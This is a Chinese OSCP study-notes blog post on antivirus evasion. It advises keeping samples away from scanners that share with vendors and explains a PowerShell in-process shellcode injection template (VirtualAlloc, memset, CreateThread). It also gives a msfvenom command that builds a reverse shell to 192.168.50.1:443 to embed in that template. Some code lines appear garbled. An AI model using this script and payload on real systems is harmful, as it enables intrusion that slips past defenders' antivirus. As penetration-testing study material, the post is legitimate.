❾⁄₇ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 本地进程内存注入实践(上)

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀

​​​

▶ 信息收集

▶ 漏洞检测
▶ 初始立足点 ➢ 防病毒软件概述 ➢本地进程内存注入实践(上)🔥🔥🔥

▶ 权限提升

▶ 横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.防病毒软件规避

[1.3 规避防病毒软件实践](#1.3 规避防病毒软件实践)

[1.3.1 实践流程与注意事项](#1.3.1 实践流程与注意事项)

[1.3.1.1 VirusTotal的局限性](#1.3.1.1 VirusTotal的局限性)

[1.3.1.2 专业测试环境搭建原则](#1.3.1.2 专业测试环境搭建原则)

1.禁用杀毒软件自动提交功能

2.搭建环境原则

[1.3.2 开始实践](#1.3.2 开始实践)

[1.3.2.1 确认开启并验证杀毒软件防护功能](#1.3.2.1 确认开启并验证杀毒软件防护功能)

[1.3.2.2 编写脚本:在当前进程(powershell.exe)分配内存并执行新线程](#1.3.2.2 编写脚本:在当前进程(powershell.exe)分配内存并执行新线程)

1.加载外部库(DLLImport)

2.定义外部函数

[3.定义winFunc变量](#3.定义winFunc变量)

4.Shellcode设置

5.分配内存

6.将shellcode写入内存

7.创建新线程并执行shellcode

8.保持程序运行

[1.3.2.3 生成 PowerShell载荷 (Shellcode)](#1.3.2.3 生成 PowerShell载荷 (Shellcode))

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.防病毒软件规避

1.3 规避防病毒软件实践

最佳实践原则

  • 禁用样本提交:防止分析样本被收录到杀毒软件特征库

  • 模拟真实环境:搭建贴近目标环境的专用测试虚拟机

  • 代码新颖性:自定义代码可显著降低被现有特征检测的风险


1.3.1 实践流程与注意事项

为了成功对目标实施攻击并规避其防病毒软件,需遵循以下清晰的步骤流程:

  • 信息收集:识别并定位目标防护

    首要任务是精准识别目标机器所使用的防病毒软件及其具体版本号。这是后续所有针对性工作的基础。

  • 方案备选:准备可靠的规避测试平台

    若无法确切获知目标防护信息,可将 AntiScan.Me 等承诺不向厂商分享样本的在线扫描工具作为最终备选测试方案,以评估样本的普遍检出率。

  • 载荷制作:构建针对性规避样本

    基于获得的信息,专门为目标防病毒软件制作或定制化修改攻击载荷(如反向Shell),融入相应的规避技术。

  • 环境验证:在模拟环境中测试绕过效果

    在装有同款杀毒软件 的本地隔离环境中执行样本,核心验证点是样本能否成功逃逸实时检测与查杀,而不被清除或阻断。

  • 功能确认:确保最终攻击意图达成

    在规避成功的基础上,最终验证攻击载荷的预期恶意功能(例如建立反向Shell连接)是否完全生效,确保绕过技术不仅隐藏了样本,更保留了其攻击能力。

1.3.1.1 VirusTotal的局限性
对比项 VirusTotal AntiScan.Me
样本处理 提交后分享给所有合作厂商 承诺不向第三方分享样本
检测范围 60+引擎 30个引擎
使用限制 部分功能需API密钥 每日4次免费扫描
隐私风险 (样本公开) 较低(声称保密)

⚠️ 注意 :VirusTotal会自动将样本共享给杀毒厂商,导致你的攻击工具很快被标记失效。

🔧 替代方案:AntiScan.Me

  • 网址https://antiscan.me

  • 优势:不分享样本、适合快速检测

  • 定位:当不了解目标主机用哪种杀毒软件时,依赖AntiScan.Me工具被认为是最后的手段。


1.3.1.2 专业测试环境搭建原则

⚠️ 再次注意 :无论测试的杀毒产品如何,都应该确保禁用样本提交,以免遇到与VirusTotal相同的缺点。

1.禁用杀毒软件自动提交功能

例:禁用Windows Defender的自动样本提交:

  • 打开 Windows安全中心

  • 进入 "病毒与威胁防护"

  • 点击 "管理设置"

  • 取消勾选"自动提交样本"选项

2.搭建环境原则

环境隔离测试

  • ✅ 搭建与目标一致的专用虚拟机

  • 完全关闭所有杀毒软件的云提交功能

  • ✅ 测试完成前避免网络暴露

代码层面规避

  • 优先自定义代码:减少特征匹配概率

  • ✅ 多样化实现方式:避免使用公开工具的标准输出

  • ✅ 结合内存操作:减少磁盘特征

③测试时机控制

  • 开发阶段:保持样本提交关闭

  • 验证阶段:仅在最终测试时短暂开启云功能

  • 生产环境:确保所有规避措施已生效


1.3.2 开始实践

由于寻找一个能绕过所有杀毒软件 的通用方案极为困难且不切实际,在渗透测试时间有限的前提下,最高效的策略 是针对目标网络内实际部署的特定杀毒产品进行定向测试与绕过。

1.3.2.1 确认开启并验证杀毒软件防护功能

以下以 Windows 11 系统上安装的 Avira Free Security(版本 1.1.68.29553) 为例,演示初步测试流程:

  1. 启动与导航

    启动Avira后,从左侧菜单栏进入 Security(安全) 面板,点击 Protection Options(防护选项)

  2. 验证实时防护状态

    在该选项页面中,可清晰查看所有当前启用的保护模块。测试必须确保 核心的 Real-Time Protection(实时防护) 功能已开启。这是后续测试有效性的前提。

  3. 基础检测功能测试

    验证杀毒软件是否正常工作的第一步,是使用已知的恶意样本(例如,之前生成的Metasploit攻击载荷)进行测试。

    • 操作:将恶意PE文件复制到测试机。

    • 结果 :文件传输后立即 触发Avira警报,弹窗明确提示文件已被判定为恶意并遭到阻止

  4. 理解杀毒软件的处置方式

    此时,杀毒软件通常会执行 威胁隔离 操作。具体方式可能包括:

    • 内核级别拦截文件的任何读写执行操作。

    • 将样本移至一个受加密保护的隔离区,仅杀毒软件自身可访问。

关键点总结 :本阶段的目标是确认杀毒软件防护功能已开启且基础检测机制生效,为后续的针对性绕过测试建立准确的基准环境。


1.3.2.2 编写脚本:在当前进程(powershell.exe)分配内存并执行新线程

考虑到目标环境的限制(没安装特有工具的情况下,仅用系统自带的工具),利用 PowerShell 是一种高效的杀毒软件规避途径。本部分将介绍一种远程进程内存注入 的变体技术------针对 PowerShell 解释器自身进程进行内存分配与线程执行。

PowerShell 的独特优势

PowerShell: 的强大之处在于其能直接与 Windows API 交互,使我们能够在脚本中实现原本需编译型语言才能完成的内存操作。这带来了两大规避优势:

  1. 检测难度高PowerShell 脚本在解释器中运行,本身并非可执行文件,使得杀毒软件难以像分析PE文件一样对其进行静态特征检测。

  2. 易于变形 :即使脚本被标记为恶意,也无需重新编译,仅需修改变量名、注释、逻辑结构等即可轻易改变其静态特征,从而绕过基于签名的检测。

  3. PowerShell 被广泛认为是一种 解释语言 ,尽管它在某些方面具有编译语言的特性(如可将脚本编译为字节码以提高性能),但其主要的工作模式仍然是通过解释执行脚本

解释语言 vs 编译语言

  1. 解释语言

    • 代码在运行时逐行解释执行,而不是事先编译成机器代码。
    • 典型的解释语言包括 Python、JavaScript 和 Ruby。
  2. 编译语言

    • 代码在运行之前需要被编译成机器代码,生成可执行文件。
    • 典型的编译语言包括 C、C++ 和 Java(Java 首先编译为字节码,然后在 JVM 中执行)。

以下是一个内存注入 PowerShell 脚本模板:使用PowerShell将一段shellcode注入到进程的内存中 ,涉及到Windows API函数的调用 ,尤其是涉及到内存分配线程创建 等功能。并在一个新线程中执行这段shellcode

其工作流程可分为几个关键步骤:

1.加载外部库(DLLImport)

[DllImport("kernel32.dll")] [DllImport("msvcrt.dll")]

导入Windows系统的C库函数,以便在PowerShell脚本中使用这些低级操作。

2.定义外部函数

变量$code由DLL库导入这些外部函数:

VirtualAlloc函数: 通过操作系统的虚拟内存管理机制,为进程分配一块指定大小的内存区域 ,并返回该内存区域的起始地址

CreateThread函数: 创建一个新的线程 ,并在指定地址执行代码

**memset函数:**将内存中的指定部分写入任意数据。

3.定义$winFunc变量

让powshell可以使用上述函数功能:

winFunc = Add-Type -memberDefinition code -Name "Win32" -namespace Win32Functions -passthru;

通过Add-Type 动态地生成一个**.NET类**,并且根据 $code 中的定义(即前面的代码)来定义这个类。

这个类的名字是Win32 ,它会被放在Win32Functions命名空间下。

-passthru 参数 让这个命令返回新创建的类实例,在后续的PowerShell脚本中使用这个类。

4.Shellcode设置

$sc = <place your shellcode here>

将自己的shellcode插入进来,shellcode通常是执行某种恶意操作的机器码。

5.分配内存

x = winFunc::VirtualAlloc(0,$size,0x3000,0x40)

调用 VirtualAlloc 函数在虚拟内存中分配一个大小为 $size 的内存块,具体的内存保护标志是 0x40(表示可执行)。

**第一个参数:**表示要分配内存的地址。 0,则系统会自动选择一个合适的地址来分配内存;

第二个参数$size: 表示要分配的内存大小0x1000(以字节为单位)。

第三个参数: 表示分配内存的类型,通常设置为MEM_COMMIT| MEM_RESERVE。在十六进制中,0x3000 等于 0x1000 | 0x2000,即这两种标志的组合。

0x1000 (MEM_RESERVE): 保留一定范围的虚拟地址空间,但不进行物理内存分配。

**0x2000 (MEM_COMMIT):**提交内存,即为所保留的内存分配物理存储。

第四个参数, 表示内存的保护属性。

在十六进制中,0x40 等于 PAGE_EXECUTE_READWRITE,意味着分配的内存区域 具有可执行、可读、可写的权限,这通常用于执行动态加载的代码或者恶意代码注入。

6.将shellcode写入内存

for (i=0; i -le (sc.Length-1);i++) { winFunc::memset(\[IntPtr\](x.ToInt32()+i), sc[$i], 1)}:

该代码将shellcode一个字节一个字节地写入到分配的内存区域中。

7.创建新线程并执行shellcode

winFunc::CreateThread(0,0,x,0,0,0)

创建一个新的线程、 并将先前分配的内存地址**$x 作为线程的起始地址** ,即新线程会从这个地址开始执行shellcode

8.保持程序运行

for (;;) { Start-sleep 60 };

这行代码会让脚本持续运行,每60秒进行一次休眠。通常这是为了防止脚本退出保证shellcode 执行线程持续存在

流程总结与要点

步骤 关键动作 目的与说明
1. 导入API 调用 kernel32.dll, msvcrt.dll 获取内存管理线程创建等底层操作能力
2. 封装函数 使用 Add-Type 创建 .NET 类 使 PowerShell 能直接调用这些原生API
3. 准备载荷 填入 Shellcode 字节数组 这是需要执行的核心恶意代码
4. 分配内存 调用 VirtualAlloc 在当前进程空间申请一块可读、可写、可执行(RWX) 的内存
5. 写入内存 循环调用 memset 将 Shellcode 逐字节拷贝到分配的内存中
6. 执行线程 调用 CreateThread 创建新线程,其入口点指向 Shellcode 内存地址,从而执行它
7. 维持存活 无限循环休眠 防止 PowerShell 脚本退出,确保注入的线程持续运行

⚠️ 核心区别 :此技术并非注入到其他远程进程,而是在当前 PowerShell 进程自身的内存空间中完成所有操作,因此更具隐蔽性。

这种方法演示了如何利用 PowerShell 的灵活性和 Windows API 的强大功能,实现一种基础但有效的无文件攻击与内存规避技术。


1.3.2.3 生成 PowerShell载荷 (Shellcode)

为了在规避测试中保持一致性,使用 msfvenom 生成与之前测试相同的 Windows 反向 Shell 载荷,并将其格式化为可直接嵌入前述 PowerShell 脚本的****$sc变量****。

生成命令与参数解析:

bash 复制代码
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f powershell -v sc
参数 说明
-p windows/shell_reverse_tcp 指定载荷类型为 Windows 反向 TCP Shell
LHOST 192.168.50.1 指定攻击者(监听端)的 IP 地址
LPORT 443 指定攻击者监听的 端口号(通常使用443等常见端口以规避基础防火墙策略)。
-f powershell 关键参数 :指定输出格式为 PowerShell 脚本。生成的将是一段能够直接赋值给 PowerShell 变量的字节数组代码。
-v sc 指定生成的 PowerShell 代码中,用于存储 Shellcode 字节数组的 变量名称为 sc 。这确保了与上一节注入脚本中 $sc 变量的完美对接。若省略此参数,msfvenom 会使用一个随机变量名。

命令功能总结 :此命令将生成一个包含编码后 Shellcode 的 PowerShell 代码块 。当目标机器执行这段代码时,它会尝试与攻击机 192.168.50.1:443 建立 TCP 连接。连接成功后,攻击者将获得一个来自目标机器的 交互式命令行 Shell,从而能够远程执行系统命令。

将上图生成的红框内容,替换 :粘贴并替换到上一节的内存注入脚本模板$sc = <place your shellcode here> 的位置。

至此,一个完整的、可用于测试杀毒软件规避效果的内存注入攻击脚本就已准备完毕,其中包含了实现反向 Shell 功能的核心载荷。

后续下文,将进行验证这个powershell脚本是否可以被防病毒产品检测出来。如果会,则需要对该脚本进行修改,尝试绕过。并最终再次测试,直到成功为止。


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
石工记17 小时前
对称加密 vs 非对称加密图解详解
java·网络安全
网安INF19 小时前
入侵检测系统(IDS)解析
网络·网络协议·安全·网络安全·ids
网安INF21 小时前
典型网络攻击分析:ARP欺骗与TCP劫持
网络·网络协议·tcp/ip·安全·网络安全
晨欣1 天前
后 Sidecar 时代:深度解析 eBPF 与 Sidecar 模式的架构之争(Gemini 3 Pro Preview 回答)
网络安全·云原生·架构·ebpf
白帽子凯哥哥1 天前
Misc题目中图片隐写和流量分析的详细工具使用技巧
linux·运维·web安全·网络安全·docker·渗透测试
saulgoodman-q1 天前
Pwncollege V8 Exploitation (下) 完结散花
网络安全·pwn·ctf
梧六柒1 天前
[HUBUCTF 2022 新生赛]messy_traffic WP
网络安全
梧六柒1 天前
[闽盾杯 2021]日志分析 WP
网络安全
Neolnfra1 天前
当“同时发生”成为攻击武器
web安全·网络安全·并发·高并发产生的漏洞